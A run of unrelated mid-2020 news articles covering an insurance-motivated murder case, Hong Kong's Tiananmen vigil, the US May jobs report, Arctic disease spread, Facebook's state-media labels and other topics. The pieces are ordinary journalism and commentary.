'This was our life ... it was just one bad thing happening to us after another,' she recalled. 'So while it was upsetting, it was all we knew.'

In February, Karlsen, 60, was found guilty of first-degree murder by arson for setting the fire that killed his then-wife and the mother of their three children, Christina.

Chilling: DeRoche recalled confronting her father about the murders and him telling her: 'It's been 22 years, they havent caught me yet and theyre not going to'

The arson death was motivated by a $200,000 life insurance policy, which Karlsen had taken out in Christina's name just 19 days before the fire.

Karlson was sentenced to life in prison without the possibility of parole for the murder of his wife. He will start the sentence after serving the 15-years-to-life sentence he received for the murder of his son Levi in New York.

Levi, who by then was a father of two young children, died in 2008 in an apparent accident when he was just 23.

A truck fell on top of him while he was working underneath it doing repairs at his father's property. His death, like his mother's, was initially ruled an accident.

Police started looking into the case when a family member tipped them off that Karlsen had claimed his son's $700,000 life insurance payout. Karlsen was the sole beneficiary of Levi's insurance policy.

Justice: In February, Karlsen, 60, was found guilty of first-degree murder by arson for setting the fire that killed his then-wife Christina, pictured with him and their three children

Tragedy: Christina, who was 30 at the time, died trapped in the bathroom of the couple's home after spilled kerosene and a faulty electric light ignited a fire

Trapped: It was later determined that Christina couldn't escape through the bathroom window because Karlsen had boarded it up from the outside just days earlier

Karlsens second wife, Cindy Best, told 20/20 that she learned about the insurance policy shortly after her stepson's death.

'It ended up being $700,000 because Levi died accidentally. So, that was a kind of a shock but  there was no reason for me to question anything at that time,' she said. 'I just trusted my husband and this insurance agent that they were setting it up  for the best of Levi's daughters.'

Before Levi was murdered, Karlsen's children long suspected their father was responsible for their mother's death.

Christina, who was 30 at the time, died trapped in the bathroom of the couple's home after spilled kerosene and a faulty electric light ignited a fire.

Karlsen was credited with saving his three children by getting them out of the burning home. He told investigators at the time that he was not able to go back for his wife.

'My father had said "mommy's gone to heaven' ... even before the ambulance got there,' DeRoche recalled.

Loss: Christina's younger sister, Colette Bousson, pictured, told 20/20 that she went to the house the day after the fire and couldn't understand why no one tried to save her sibling

Suspicions: Investigators listed Christina's official cause of death as an accident at the time, but his children long suspected he was responsible for the fire

Clean break: Karlsen left California with his three children two weeks after the fire and used the $200,000 life insurance money to buy a home in New York

Christina's younger sister, Colette Bousson, told 20/20 that she went to the house the day after the fire and couldn't understand why no one tried to save her sibling.

'I told [Karl] that I wanted to see my sister  and he said, "You can't, she's a crispy critter,' she said. 'That was his term, "a crispy critter" because I think he truly believed that my sister had burned up in the house and that there would be no evidence and he was wrong.'

It was later determined that Christina couldn't escape through the bathroom window because Karlsen had boarded it up from the outside just days earlier because it was supposedly broken.

Investigators listed Christina's official cause of death as an accident.

While Bousson was convinced her Karlsen was to blame, she hid her suspicions to ensure she would be able to have a relationship with her sister's children.

Karlsen left California with his three children two weeks after the fire and used the $200,000 life insurance money to buy a home in New York.

Family fears: DeRoche, pictured with her aunt and sister, said she and her brother Levi had confronted their father about the death of their mother when they were teenagers

Flesh and blood: Karlsen killed his 23-year-old son Levi in New York in 2008. A truck fell on top of him while he was working underneath it doing repairs at his father's property

Heartless: Karlsen told police he had been there when the truck fell on his son. He maintained it was an accident but admitted that he left him to die. Levi is pictured with his two daughters

DeRoche said she and her brother Levi had confronted their father about the death of their mother when they were teenagers.

'Levi and I told our father that we knew that he had murdered our mother,' she said. 'Levi and I would talk about [the day of the fire] a lot about what he remembered, about what I remembered and about how things just didn't add up.'

Karlsen's second wife began to fear she would become Karlsen's next victim when their marriage of nearly 20 years started to fall apart.

'I would be worth $1.2 million to Karl if I was dead,' Best told 20/20. 'I had called my cousin...and told her my fears: "I think Karl might have killed Levi. I'm not sure, but maybe he killed Christina. I'm scared, but I can't go to law enforcement until we get enough evidence."'

Scared: Karlsens second wife, Cindy Best, feared she would become Karlsen's next victim. 'I would be worth $1.2 million to Karl if I was dead,' she told 20/20

Investigation: Best agreed to help investigators by wearing a wire and speaking to her husband about Levi's death. Karlsen received a 15-years-to-life sentence for his son's death

Reunited: Christina and Levi are buried side-by-side in a Murphys, California, cemetery

Best's cousin called the Seneca County Sheriff's Office, and she agreed to help investigators by wearing a wire and speaking to her husband about Levi's death.

In the secret wire recordings, Karlsen admitted to removing his truck's front tires and raising it on a single jack before Levi volunteered to do the repairs.

Seeing clearly: 'I saw the monster more than the man,' DeRoche said of her father

Following a 10-hour interrogation, Karlsen eventually told police he had been there when the truck fell on his son. He maintained it was an accident but admitted that he left his son to die.

He later pleaded guilty in exchange for 15 years to life in prison.

After Karlsen was charged with his son's murder, police in California reopened the investigation into his wife's death, which led to his second conviction.

Reynolds said she struggles with having 'the lost connection of having a dad' after learning he had committed these crimes.

'Part of me still wants a relationship. I don't know what will happen long term,' she said.

'We're not talking right now, but you know, I don't know long term what my plan is.'

Her sister, however, said she is able to see her father for what he is.

'He's able to manipulate people very easy. That's who he's always been. So for me, I saw the monster more than the man,' DeRoche said.
Authorities were searching early Friday for a 50-year-old man who went missing after falling out of a kayak while fishing in Monmouth County.

The victim, whose name was not released, was fishing with another man in the Navesink River when both men toppled off the vessel, according to Petty Officer Anthony Pappaly of the U.S. Coast Guard.

The two kayakers were out last night when they fell out of the kayak, Pappaly said. One of the men swam to shore. The kayak also washed up on the shore in Rumson, Pappaly said.

The missing man was not wearing a lifejacket, the coast guard said.

The New Jersey State Police were assisting in the search Friday with a helicopter and boat, officials said.

It was not immediately clear if Thursday nights storm contributed to the accident.

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Sometimes Coates words seem too bleak, yet this week his words sound like prophesy to black Americans. This week, George Floyd is every black person in America who has died under a whip, lynched from a tree, or perished in a building set on fire by racists in white hoods. This week Americans hear the great James Baldwin: To be a Negro in this country and to be relatively conscious is to be in a rage almost all the time. I have felt that rage here. I felt it when I saw the boys of Don Dale bound and hooded and beaten and tear-gassed. I feel that rage when I recall the stories of my own familys past: of segregation, discrimination and police beatings.

Loading I feel that rage when I think of how Indigenous people are the most incarcerated in our country. And how they die still in police cells: 432 black deaths in custody since the royal commission 29 years ago. We should all be angry because when our country fails its people we all fail. Yes, Australia has been good for me but too many of our people cannot say the same. Too many are lost to early graves, locked in endless cycles of poverty and misery. This is the torment of our powerlessness; we know it is broken and still we fail to fix it.

This is the legacy of our history: those wounds of the soul that dont heal and can so easily turn toxic. History hangs so heavy in our world  on the streets of America, across the Middle East. It hangs heavy in the borderlands of Europe and behind the wall of China. These are treacherous fault lines. From the grievance of history we construct our identity and identity at its worst can be a terrible thing. Identity can pit us against each other; we form our tribes and we tear each other apart. The Indian philosopher and economist Amartya Sen was right: identity can kill  and kill with abandon. How I wish we did not have to choose sides. How I wish we could slip the yoke of history. How I wish this was not about race.

Loading But this week, it is hard to not see race when race is all we see. When people who have been branded by race seek the solidarity of race. Dr Kings dream seems so far away. Yet the violence can blind us to those people black and white marching together peacefully, those who still cling to what the greatest American president, Abraham Lincoln, called the better angels of our nature. Democracy should be big enough to hold us all: regardless of colour or creed. And thats the struggle of our age when around the world democracy is in retreat and authoritarianism is on the march.

Loading That great beacon of liberty, that nation that promised to take in the poor and sick and huddled masses, the America of dreams, is ablaze, unable to police itself let alone the world. It is sad to see and we are all poorer for it. As we look to America, as people here march in solidarity with the best of America, we can save ourselves from the worst of America. This is a moment to ask if our country can fulfil its promise. Can our great country be great for all? These are just words. Actions are so much harder and, judged by our actions, history tells us we have failed.
C ovid-19 infection levels are falling  official data this morning shows total cases dropping to 53,000 by the end of last month. So why has the Government left it until now to tell us we will need to wear face coverings on public transport?

Some countries have required this for months. In England, however the rule will come into effect on June 15 for buses, the Tube, trains, ferries and trams  but not taxis.

Sadiq Khan, Londons Mayor, has been calling for this for weeks and hes been proved right.

So why the delay? There are two good reasons and one excuse. Lets hear the excuse first. Ministers have simply been following the science. They have been advised that non-surgical face coverings make little or no difference in the spread of the virus.

The World Health Organisation has been saying the same thing, although it has now changed its tune.

So when the Government resisted calls for masks to be used, it was listening to the evidence. Whether this advice from scientists was right is one of the many things which need to be asked when the inquiry into the coronavirus disaster begins.

So why the change now?

The first good reason is that up to now few of us have been on public transport. There was no need for a mask if you were the only person on the Tube carriage.

But now, as people start to go back to work and school, and shops reopen, passenger numbers are creeping back up. On busier buses and trains, masks will make more of a difference. So perversely, even as infection rates drop overall, the need for masks grows.

The second reason the Department for Transport has made the move now is that it hopes masks can be a step towards reducing the need for social distancing.

The blunt truth is that running a mass transit system while forcing people to stay two metres apart is impossible if you want to carry more than a handful of passengers.

Already, at pinch points on the Tube, such as Canning Town early in the morning peak, social distancing isnt happening.

Masks could make it possible to halve the distance to one metre  already the rule in France. That would allow the system to run, if not as normal, then in a way that is useful.

So while wearing a mask will feel strange, it makes sense for now, and it could be part of unlocking a route back to life as it used to be.

No place like Rome

Raffaele Trombetta wants you to come and stay. If you dont know him, hes the Italian ambassador in London.

The motorbike-riding, Napoli FC-supporting diplomat tells the Evening Standard today that Italy is open for tourists from Britain, that he hopes they will come and, that they will be safe.

There are two hitches: there arent any direct flights at the moment, and from Monday the UK Government wants to impose a 14-day quarantine on people returning home.

But the flights will be back soon and the quarantine rules make no sense.

So heres hoping summer will bring a ristretto to start the day in Venice, a pappardelle alla lepre for lunch in the Tuscan hills, and a Negroni as the sun goes down on Capri. Grazie, Signor Trombetta.

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Londons back in tune

Live music returned to London this week, with concerts from the Wigmore Hall broadcast daily on BBC Radio 3. Even by the high standards of this wonderful venue, the results have been outstanding.

Rather than stick to tested classics, the series has been daring: yesterdays recital by oboist Nicholas Daniel and pianist Julius Drake included three new pieces, two composed during lockdown.

Next, the Royal Opera returns with live concerts.

Its good to see Londons cultural life resuming: even if, for now, performances cant take place before a live audience.
A financial planner can help you navigate these disquieting times, but it has never been more important to find one you can trust. A critical step is finding a planner who adheres to the fiduciary standard, which requires that the planner must put your interests above his or her own. Fiduciaries are required to avoid conflicts of interest, such as steering you toward mutual funds with hefty commissions for themselves instead of lower-cost alternatives. Securities brokers follow a less stringent suitability standard, which means the investments they recommend must be suitable based on the clients age and risk tolerance but dont necessarily have to be the least expensive options available.

You can be a DIY investor when you have a 10-year bull market, says Kevin Keller, chief executive of the CFP Board of Standards . When were in a state of chaos, people feel like they really need somebody to talk to.

Thats not surprising. Millions of Americans have seen their retirement savings bludgeoned by the bear market. Many are reviewing estate plans and insurance coverage. And although the Coronavirus Aid, Relief, and Economic Security (CARES) Act, signed into law in March, has numerous provisions to help Americans weather the crisis, it also raises a lot of questions, ranging from what to do with your stimulus check to whether you should take an emergency withdrawal (or loan) from your 401(k) plan.

The coronavirus pandemic touched off increased demand for toilet paper, Clorox wipes, at-home hair coloring kitsand financial advice. A recent survey by the Certified Financial Planner Board of Standards found that nearly 80% of CFPs had seen an uptick in questions from existing clients since the pandemic began, and one-third reported an increase in calls from prospective clients.

During the Obama administration, the Department of Labor adopted a rule that would have required all financial professionals who give retirement advice to comply with the fiduciary standard. That rule was struck down by a U.S. Circuit Court, which held that the DOL didnt have the authority to enforce the rule.

Since 2009, certified financial planners have been required to comply with the fiduciary rule when providing financial planning, such as developing a retirement strategy. But starting June 30, all CFPs will be required to comply with the fiduciary standard whenever they give financial advice. The broadened standard will most likely affect brokers and insurance agents who are CFPs but dont typically provide financial planning.

Many consumers are wary of hiring planners who work on commission because theyre compensated for recommending specific products or investments, and that creates the potential for conflicts of interest. The CFP Board contends that the broadened fiduciary standard reduces the potential for such conflicts. In addition, Keller says fee-only planners arent free of conflicts, either. Many fee-only planners charge a percentage of the amount of money clients give them to manage (known as assets under management, or AUM), which can range from 0.25% of AUM for a robo adviserautomated advice provided by many banks, brokerages and financial service firmsto 1% or more for a full-service planner. A planner whose fees are based on a clients AUM might be tempted to discourage actions that would reduce the size of that account, such as taking a large withdrawal to pay off a mortgage, he says.

Doing Your Due Diligence

Even with the broadened fiduciary standard, you should take extra steps to make sure any planner you hire is in fact looking out for your best interest. Start by making sure that the planner is a certified financial planner. To earn the CFP mark, a planner must complete a course in financial planning, pass a six-hour exam, have two to three years of professional experience, and complete 30 hours of continuing education every two years.

Once youve established that the planner is a CFP, do a background check. The CFPs website, www.letsmakeaplan.org, will tell you whether the planner has ever been publicly disciplined by the CFP Board or has filed for bankruptcy within the past 10 years. Next, go to BrokerCheck, a search tool provided by the Financial Industry Regulatory Authority (Finra), a self-regulatory organization for the securities industry. This site will provide a record of a planners employment history and any regulatory actions taken against the individual, along with records of arbitration decisions and complaints. BrokerCheck has its critics: Research conducted by the Stanford Law School found that its not difficult for brokers to get complaints expunged from the site, even if theyre not in error. Still, brokers cant erase criminal or regulatory infractions from BrokerCheck.

You can also do a background check at the Securities and Exchange Commissions database of investment professionals, where youll find information about the advisers professional designations, experience, previous employment, other business activities, and any complaints or disciplinary actions by regulators.
Tens of thousands of people across Hong Kong lit candles and chanted democracy slogans on Thursday to commemorate China's deadly Tiananmen crackdown, defying a ban against gathering as tensions seethed over a planned new security law. The biggest crowds descended on Victoria Park that has hosted huge Tiananmen anniversary vigils for the past three decades, with smaller rallies erupting in multiple shopping districts and local neighbourhoods. Police arrested some demonstrators in one shopping area, in scenes reminiscent of seven months of violent protests last year, although they allowed the main rally to proceed. The displays of resistance came hours after Hong Kong's legislature passed a bill criminalising insults to China's national anthem, which the pro-democracy movement sees as yet another example of eroding freedoms. China also last month moved to impose the security law on Hong Kong which would outlaw subversion and has cemented fears that the semi-autonomous city is losing its treasured liberties. "I've come here for the vigil for 30 years in memory of the victims of the June 4 crackdown, but this year it is more significant to me," a 74-year-old man who gave his surname as Yip told AFP as he joined the crowds inside Victoria Park. "Because Hong Kong is experiencing the same kind of repression from the same regime, just like what happened in Beijing." Hundreds of people -- by some estimates more than a thousand -- were killed in on June 4, 1989, when China's communist rulers deployed the military into Beijing's Tiananmen Square to crush a student-led movement for democratic reforms. Commemorations of the event are forbidden in mainland China but have been allowed in Hong Kong, which has been granted liberties under the terms of its 1997 handover from the British. This year's vigil was banned, with authorities citing coronavirus restrictions on group gatherings even though people are allowed to commute in packed trains to work. As dusk fell on Thursday, many thousands of people, including prominent democracy leaders, began pouring into Victoria Park and lit candles as an act of remembrance and resistance. Some wore black t-shirts with the word "Truth" emblazoned in white. Others were in office attire. Many shouted pro-democracy slogans including "Stand with Hong Kong" and "End one party rule", in reference to the communists who hold monopoly power in China. - Neighbourhood, church vigils - Crowds have swelled at Hong Kong's Tiananmen vigils whenever fears have spiked that Beijing is prematurely stamping out the city's own freedoms, an issue that has dominated the finance hub for the past 12 months. In response to the seven months of protests last year, China announced plans to impose the security law, which will be approved by national authorities in Beijing and bypass Hong Kong's legislature. China says the law is needed to tackle "terrorism" and "separatism" in a restless city it now regards as a direct national security threat. Critics, including many Western nations, fear it will bring mainland-style political oppression to a business hub. - 'Complete nonsense' - In mainland China, authorities do not allow any open discussion about the Tiananmen crackdown and censors scrub any mention of it off the internet. The candle emoji has been unavailable in recent days on China's Twitter-like Weibo platform. Police in Beijing prevented an AFP photographer from entering Tiananmen Square to record the regular pre-dawn flag-raising ceremony on Thursday and ordered him to delete some photos. The United States and Taiwan issued statements calling on China to atone for the deadly crackdown. "Around the world, there are 365 days in a year. Yet in China, one of those days is purposely forgotten each year," Taiwan's President Tsai Ing-wen tweeted. Secretary of State Mike Pompeo tweeted a photo of him meeting prominent Tiananmen survivors. China's foreign ministry described calls for Beijing to apologise for Tiananmen as "complete nonsense". "The great achievements since the founding of new China over the past 70 or so years fully demonstrates that the developmental path China has chosen is completely correct," spokesman Zhao Lijian told reporters.
Professor Ian Jacobs says Australia needs a conversation about what it expects from universities. Credit:Louie Douvis Jacobs disagrees universities have gone too far, saying Australia's strong performance in research pays enormous dividends for the country. "We see the benefits playing out today, in response to droughts, bushfires and now the pandemic," he says. "Those people don't just appear. They are the result of massive investment by universities and public funds in our research infrastructure. If we want all of those things, we have to think about the very best model we can come with for organising them and financing them." The Group of Eight, representing the country's top-ranked, research-intensive universities, this week commissioned hundreds of academics from different fields to do just that. "Nothing is off the table," says chief executive Vicky Thomson. "We've had ideas as broad as, do we have smaller, truly specialist universities? Do we merge large universities? Do we have industry-led research? Do we focus on leveraging our strengths, and not our weakness, and not try to be all things to all people?" Those ideas will be whittled down to a couple of strong, costed proposals, to be presented in a few weeks. Some argue that it is no longer realistic for every academic to spend about 40 per cent of their time on research, alongside their teaching duties. "That model is under impossible stress," says Norton. If that nexus was broken, some institutions would focus on teaching, and keep a small, specific research specialty - reef science at James Cook University, for example, or Antarctic research at the University of Tasmania. Most research funding would then be directed to the ones who do 70 per cent of it anyway, the Group of Eight.

The politics would be difficult. Universities argue that the creation of knowledge is what differentiates them from a high school, which disseminates it, and "would fight tooth and nail against that [proposal]," says Norton. Executive Director of the Regional Universities Network, Caroline Perkins, said Group of Eight universities already received more than 80 per cent of research grants. "To take our research funding will do nothing for the Group of Eight, and it will really hurt regional universities," she said. Academics would oppose it too, because many consider research the most attractive part of the job and believe it enhances teaching. However, Norton says some students, such as those in the science and arts, benefit more from being close to emerging thinking than those studying degrees dominated by professional requirements, such as nursing or teaching. Babones says the teaching-research nexus has already been broken in the subjects that drive rankings, such as science. "Increasingly people have entire careers in the sciences without teaching at all," he says. "I once had an engineering professor tell me I was a loser if I was over 40 and still teaching, because in his world, that's what you did. We do have a teaching-only faculty; they're called casuals. They are the ones who are first in line [to lose their jobs] in the crisis. My question is, will universities have the courage to cut the high-profile research-only staff?" Universities could also cut the breadth of their research, and focus on their strengths. Frank Larkins, from the Melbourne Centre for the Study of Higher Education, says the competitive nature of grants means this is happening already. "But it may be sharpened further," he says. Jacobs also believes that process is underway, although it "we could ... acknowledge that more explicitly," he says. 'There are a whole raft of important things that a university does. Not all universities need to do all of them to the same extent."
The US jobs market started to recover in May as coronavirus lockdowns were eased, but the gains are unequal.

With coronavirus lockdowns easing and unrest sweeping the nation, the United States got some encouraging news on the nascent jobs market recovery, but confirmation that racial inequality continues to be a feature of the US labour market.

The economy gained 2.5 million in jobs in May  by far the biggest monthly spike on record  the US Bureau of Labor Statistics reported on Friday, pushing the unemployment rate down by 1.4 percentage points to 13.3 percent.

The headline numbers were a huge shock to most analysts who were expecting millions more job losses. They were also immediately seized upon by President Donald Trump who has largely pinned his re-election campaign on his stewardship of the economy

Trump tweeted: Really Big Jobs Report. Great going President Trump (kidding but true)!

Later, during a White House briefing, Trump told reporters: Today is probably, if you think of it, the greatest comeback in American history.

While Trump touted the numbers, some analysts responded with cautious optimism.

With more states moving to loosen their lockdowns in the coming weeks, particularly in the populous Northeast, employment looks set to continue rebounding in June and beyond, wrote Capital Economics senior US economist Michael Pearce in a note to clients, although we still think it will be a long time before the labour market is anywhere near back to its pre-virus state.

The chief US economist at Oxford Economics, Gregory Daco, underscored how much ground the jobs market needs to reclaim in order to regain its pre-pandemic strength.

Even as we look for the economy to recoup about 60% of lost jobs by year-end, the unemployment rate will still likely be around 8-10%, he wrote in a note to clients.

Mays job gains mostly reflect laid off workers who were recalled to their jobs as coronavirus containment measures are rolled back across the country. The number of unemployed workers who were on temporary layoff decreased by 2.7 million in May to 15.3 million.

More than half of Mays job gains were in the food services and drinking sector as restaurants started reopening.

Broken out by race, the white unemployment rate edged down from 14.2 percent in April to 12.4 percent in May, while the unemployment rate for African Americans ticked up slightly from 16.7 percent to 16.8 percent.

That racial divergence in joblessness is nothing new. The African American jobless rate has been higher than the white unemployment rate since the government started recording that data back in 1972.

Tens of thousands of people have participated in protests since the death of unarmed Black man George Floyd in policy custody in Minneapolis last month. Though centred on police brutality, the outcry is also an expression of mounting frustrations with deeply entrenched social and economic inequalities that the current economic downturn could likely exacerbate.

We must remember that were in the middle of a pandemic that has hurt many of our Black workers hardest, and they will continue to feel the brunt of the health and economic consequences, unless policymakers take decisive action, Elise Gould, senior economist with progressive think-tank the Economic Policy Institute told Al Jazeera.

It is imperative that policymakers do not take this as a sign that its time to stop providing necessary relief to workers, their families, and state and local governments. The economic pain will be long-standing without additional aid, Gould added.

The jobs market is just one area of the economy where African Americans and other minorities have the odds stacked against them. From the value of an education to gaining access to credit to buy assets like houses to grow wealth over time, and myriad other metrics, there is a concrete, consistent pattern of racial discrimination in the US economic ecosystem.
Yves here. Yet another reason to be concerned about disappearing ice. I believe scientists are as concerned, if not more, about the nasties that can be released from permafrost.

By Kristen Pope, an Idaho-based freelance writer who frequently covers science and conservation-related topics. Originally published at Yale Climate Connections

Drowning polar bears and crumbling coastal communities are the most visible effects of melting glaciers and sea icein the polar regions, and now scientists are learning about less obvious but still alarming results of this shift: the wider spread of wildlife disease and contaminants. The COVID-19 pandemic has also hindered researchers efforts to perform 2020 fieldwork and collect data, potentially complicating further studies on the topic

As melting ice allows pathways to open up in the Arctic, people and animals can use these routes to access previously inaccessible areas. Corporations and governments are making plans to use a more open Arctic for shipping routes and development, which could end up releasing more contaminants into the ecosystem. Animals, meanwhile, may already be traversing these open passageways to travel to new locations and spread disease.

Less Ice in Arctic Equals More Spread of Disease

By altering animal behavior and removing physical barriers, loss of sea ice may create new pathways for animal movement and introduction of infectious disease into the Arctic, says a paper published by researchers, including Tracey Goldstein, an associate director of the One Health Institute at the UC Davis School of Veterinary Medicine.

She and her colleagues published the study in the journal Scientific Reports. It explores how melting sea ice may be facilitating the spread of a disease called Phocine distemper virus (PDV) among marine mammals.

PDV, a highly infectious virus, can afflict marine mammals with respiratory and neurological problems, and also make affected animals more susceptible to secondary infections. In 1988, an outbreak of PDV killed over 23,000 European harbor seals, and a 2002 epidemic killed over 30,000.

In 2004, scientists found the same disease was affecting otters in Alaska, and theyve indicated they believe melting sea ice may be to blame. Previously, North Atlantic and North Pacific populations of otters were not known to interact  experts believed sea ice prevented them from reaching one another, and they are not known to travel far. But they now are suggesting melting ice could have created a pathway for the animals to make contact and spread the disease, perhaps with other species acting as intermediaries.

Ice Melt + COVID-19  Perfect Storm

To examine the topic, the researchers analyzed samples from 2,530 live and 165 dead animals in the North Pacific Ocean collected between 2001 and 2016. The study included samples from northern sea otters, northern fur seals, Steller sea lions, and a variety of ice-associated seals.

They found evidence PDV was widespread in the North Pacific Ocean  both in terms of infection and exposure  beginning in 2003. Openings in the sea ice along the Russian coast were linked to the increased likelihood of PDV exposure or infection, the researchers wrote. And peaks of viral exposure in 2003 and 2009 occurred after a year with low sea ice extent and open water along the Russian coast, suggesting that multiple introductions may have occurred.

This is the first example in the Arctic, and I think that with the sea ice its really making us think a little bit more about it, Goldstein said. As animals are changing their behavior because the ice is changing, theyre moving further, maybe looking for food or other things.

The researchers have been planning to explore the topic further, but the COVID-19 pandemic is interfering with 2020 fieldwork plans. They had expected to collect data this year after record low Arctic sea ice in 2019, but many projects are now being canceled or postponed.

Its kind of the perfect storm, Goldstein said. This is one of the years we really need to understand whats happening up in the Arctic and, of course, this outbreak is changing all of our lives.

More Contaminants Crossings More National Borders

Diminished sea ice may also allow contaminants to travel between nations via ice, potentially with serious geopolitical consequences. Ice can transport a wide variety of contaminants ranging from anthropogenic pollutants like oil, lead, mercury, and microplastics, to dust, sediments, aerosol deposits, algae, and even biological communities.

Sea ice historically could last 10 years, persisting through summers and building layers over time. Now, the ice is thinner, it moves faster, and in many places it completely melts during the summer, releasing any contaminants in it wherever it ends up. As the Arctic melts, increased shipping and oil drilling in the region are expected to boost the risk of contamination.

Researchers including Patricia DeRepentigny, a PhD candidate at the University of Colorado in Boulder, examined how a melting Arctic may lead to an international exchange of pollutants. They published their findings in AGUs Earths Future.

Using the Sea Ice Tracking Utility, which DeRepentigny helped develop, they found that by mid-century the time it takes ice to travel between regions will decrease by around half, and the exchange of ice between nations will more than triple. The scenario with the least likelihood of spreading contaminants between nations was actually the most dire scenario: the end-of-century highest emissions scenario. Under this scenario, the ice would melt so quickly after forming that it wouldnt have a chance to transit between nations and would melt close to where it was formed, likely releasing any contaminants back into the country of origins waters.

Arctic Geopolitical Issues

Five nations have exclusive economic zones in the Arctic Ocean  the U.S., Canada, Russia, Norway, and Denmark (Greenland). No nation has exclusive economic rights in the Central Arctic Ocean, so this polar shortcut would be attractive for shipping, which in turn would open up the potential for pollution and increased movement of ice. It also raises questions about how countries will handle transnational ice exchanges in the Arctic and any potential exchange of contaminants.

As these pollutants cross nations boundaries, they can also cross different environmental protection laws, DeRepentigny says. Nations already are dealing with transnational exchanges of air and water pollution, but the possibility of faster moving sea ice bridging borders could increase concerns.
Facebook will soon add labels to news outlets owned or otherwise controlled by a government, marking that information as, if not necessarily false or unreliable, at least worth considering the origin of. Those so labeled will also be banned from buying ads starting this summer.

The company announced its plan to do this a few months ago as one part of its ongoing "election integrity efforts," along with such things as requiring a confirmed owner for pages and banning anti-voting ads.

Under the new policy, which should roll out to all users over the next week, news organizations "that may be under the influence of a government" will have a subtle but clear label as such, as will their posts. You can see what one of those labels looks like in the top image, and here's how it would look in the "about" and details pages:

The warning reads: "This publisher is wholly or partially under the editorial control of a state. This is determined by a range of factors, including but not limited to funding, structure and journalistic standards."

These organizations have immense reach even outside the countries they're based in: Oxford's Computational Propaganda Project has tracked this engagement and the strategies used to accomplish it closely in an ongoing series of papers.

The process of identifying state-run news is not quite as straightforward as it may seem. Certainly there are many openly state-run news organizations in many countries, like China Daily, Sputnik and so on. But governments may be pulling the strings behind far more, either by funding (or defunding) them, interfering with or directing editorial coverage or operating a whole news organization via unacknowledged means.

Facebook turned to experts to analyze and classify the many news organizations on the platform, which seems to have clearly advised that there are many factors that should be considered. As a result, Facebook bases its "state-controlled" label based on official statements, ownership structure and stakeholders, editorial leadership and guidelines, policies and oversight and, last but not least, the state of media freedom in the host country. Outlets can appeal the label if they think it has been applied in error.

Story continues

Notably the label will not be applied to news posts or organizations that merely reference or base their reporting on state-controlled media. Nor is the information published by these labeled organizations subject to special scrutiny or fact-checking.

"Nevertheless," writes the company's cybersecurity policy head Nathaniel Gleicher in a blog post, "later this summer we will begin blocking ads from these outlets in the US out of an abundance of caution to provide an extra layer of protection against various types of foreign influence in the public debate ahead of the November 2020 election in the US."

Outside the U.S. those ads will not be blocked, but they will be labeled.
New Delhi, June 5 (IANS) President Ram Nath Kovind has promulgated two ordinances aimed at giving a boost to rural India by raising income of farmers, the Union Agriculture Ministry said on Friday.

These ordinances are the Farmers' Produce Trade and Commerce (Promotion & Facilitation) Ordinance 2020 and Farmers (Empowerment and Protection) Agreement on Price Assurance and Farm Services Ordinance 2020.

"After the announcement of the landmark decisions by the Government of India for reforms in the agricultural sector for raising the income of the farmers as part of the Aatmanirbhar Bharat Abhiyan, the President of India has promulgated the two ordinances with the aim of giving a boost to rural India for farmers engaged in agriculture and allied activities," a Ministry statement said.

Union Agriculture and Farmers Welfare Minister Narendra Singh Tomar on Friday wrote to all the Chief Ministers informing them of the Ordinances and solicited their cooperation in implementation of the reforms, it added.

He stressed the need for their continued support in the development and growth of the agriculture sector in the new reformed environment.

--IANS

pj/vd
Doctors at the University of Pittsburgh Medical Center say the coronavirus appears to be becoming less potent.

Dr Donald Yealy, chair of emergency medicine at UPMC, explained at a press conference on Thursday that people seem to be contracting the virus less easily and cases appear to be less severe then when the pandemic first took hold in the US early this year.

'The virus may be changing,' Yealy said. 'Some patterns suggest the potency is diminished.'

He noted that UPMC has successfully treated more than 500 coronavirus patients since March, and in recent weeks fewer patients are requiring ventilators to help them breathe.

Less than four percent of all tests and only 0.2 percent of tests in asymptomatic patients are coming back positive, he said, indicating that the virus is less prevalent in the communities UPMC serves.

Doctors at the University of Pittsburgh Medical Center on Thursday said that the coronavirus appears to be becoming less potent than it was when the pandemic began (file photo)

Dr Donald Yealy, chair of emergency medicine at UPMC, explained at a press conference that people seem to be contracting the virus less easily and cases appear to be less severe

The doctors' findings that the virus could be declining in potency came days after researchers in Italy announced that patients there were showing much smaller amounts of the virus in their system, compared to samples taken during the peak of the crisis in March and April.

Professor Alberto Zangrillo, head of intensive care at Italy's San Raffaele Hospital in Lombardy, went so far as to say that the virus 'clinically no longer exists' during a Sunday interview on state television.

But World Health Organization experts and a range of other scientists quickly rejected Zangrillo's claims on Monday, saying there is no evidence to support the assertion that the coronavirus has been losing potency.

HOW AND WHY CAN VIRUSES LOSE POTENCY OVER TIME? Viruses are known to change over time because they are subject to random genetic mutations in the same way that all living things are. These mutations can have various effects and many will only happen briefly and not become a permanent change as newer generations of viruses replace the mutated ones. However, some of the mutations might turn out to be advantageous to the virus, and get carried forward into future generations. For example, if a virus becomes less dangerous to its host - that is, it causes fewer symptoms or less death - it may find that it is able to live longer and reproduce more. As a result, more of these less dangerous viruses are produced and they may go on to spread more effectively than the more dangerous versions, which could be stamped out by medication because more people realize they are ill, for example. The mutation may then be taken forward in the stronger generations and become the dominant version of the virus. In an explanation of an scientific study about HIV, the NHS said in 2014: 'The optimal evolutionary strategy for a virus is to be infectious (so it creates more copies of itself) but non-lethal (so its host population doesnt die out). 'The "poster boy" for successful long-living viruses is, arguably, the family of viruses that cause the, which has existed for thousands of years.' Advertisement

'In terms of transmissibility, that has not changed, in terms of severity, that has not changed,' WHO epidemiologist Maria Van Kerkhove told reporters.

It is not unusual for viruses to mutate and adapt as they spread. The pandemic has so far killed nearly 386,000 people and infected more than 6.5 million.

Martin Hibberd, a professor of emerging infectious disease at the London School of Hygiene & Tropical Medicine, said major studies looking at genetic changes in the SARS-CoV-2 virus that causes COVID-19 did not support the idea that it was becoming less potent, or weakening in any way.

'With data from more than 35,000 whole virus genomes, there is currently no evidence that there is any significant difference relating to severity,' he said in an emailed comment.

Zangrillo, well known in Italy as the personal doctor of former Prime Minister Silvio Berlusconi, said his comments were backed up by a study conducted by a fellow scientist, Massimo Clementi, which Zangrillo said would be published next week.

Zangrillo told Reuters: 'We have never said that the virus has changed, we said that the interaction between the virus and the host has definitely changed.'

He said this could be due either to different characteristics of the virus, which he said they had not yet identified, or different characteristics in those infected.

The study by Clementi, who is director of the microbiology and virology laboratory of San Raffaele, compared virus samples from COVID-19 patients at the Milan-based hospital in March with samples from patients with the disease in May.

'The result was unambiguous: an extremely significant difference between the viral load of patients admitted in March compared to' those admitted last month, Zangrillo said.

